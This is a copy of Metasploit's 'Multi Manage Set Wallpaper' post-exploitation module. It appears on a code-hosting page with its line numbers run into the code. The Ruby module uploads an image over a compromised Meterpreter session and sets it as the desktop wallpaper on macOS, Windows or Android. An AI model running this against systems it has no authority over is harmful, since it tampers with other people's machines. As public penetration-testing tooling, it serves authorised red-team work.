Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/multi/manage/set_wallpaper.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Windows::Registry89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Multi Manage Set Wallpaper',14'Description' => %q{15This module will set the desktop wallpaper background on the specified session.16The method of setting the wallpaper depends on the platform type.17},18'License' => MSF_LICENSE,19'Author' => [ 'timwr'],20'Platform' => [ 'win', 'osx', 'linux', 'android' ],21'SessionTypes' => [ 'meterpreter' ],22'Compat' => {23'Meterpreter' => {24'Commands' => %w[25android_*26stdapi_railgun_api27]28}29}30)31)3233register_options(34[35OptPath.new('WALLPAPER_FILE', [true, 'The local wallpaper file to set on the remote session'])36]37)38end3940def upload_wallpaper(tempdir, file)41remote_file = "#{tempdir}#{File.basename(file)}"42print_status("#{peer} - Uploading to #{remote_file}")4344write_file(remote_file, File.binread(file))45print_status("#{peer} - Uploaded to #{remote_file}")46remote_file47end4849#50# The OS X version uses an AppleScript to do this51#52def osx_set_wallpaper(file)53remote_file = upload_wallpaper('/tmp/', file)54script = %(osascript -e 'tell application "Finder" to set desktop picture to POSIX file "#{remote_file}"')55begin56cmd_exec(script)57rescue EOFError58return false59end60true61end6263#64# The Windows version uses the SystemParametersInfo call65#66def win_set_wallpaper(file)67remote_file = upload_wallpaper('%TEMP%\\', file)68client.railgun.user32.SystemParametersInfoA(0x0014, nil, remote_file, 0x2) != 069end7071#72# The Android version uses the set_wallpaper command73#74def android_set_wallpaper(file)75client.android.set_wallpaper(File.binread(file))76true77end7879def os_set_wallpaper(file)80case session.platform81when 'osx'82osx_set_wallpaper(file)83when 'windows'84win_set_wallpaper(file)85when 'android'86android_set_wallpaper(file)87end88end8990def run91file = datastore['WALLPAPER_FILE']92if os_set_wallpaper(file)93print_good("#{peer} - The wallpaper has been set")94else95print_error("#{peer} - Unable to set the wallpaper")96end97end98end99100101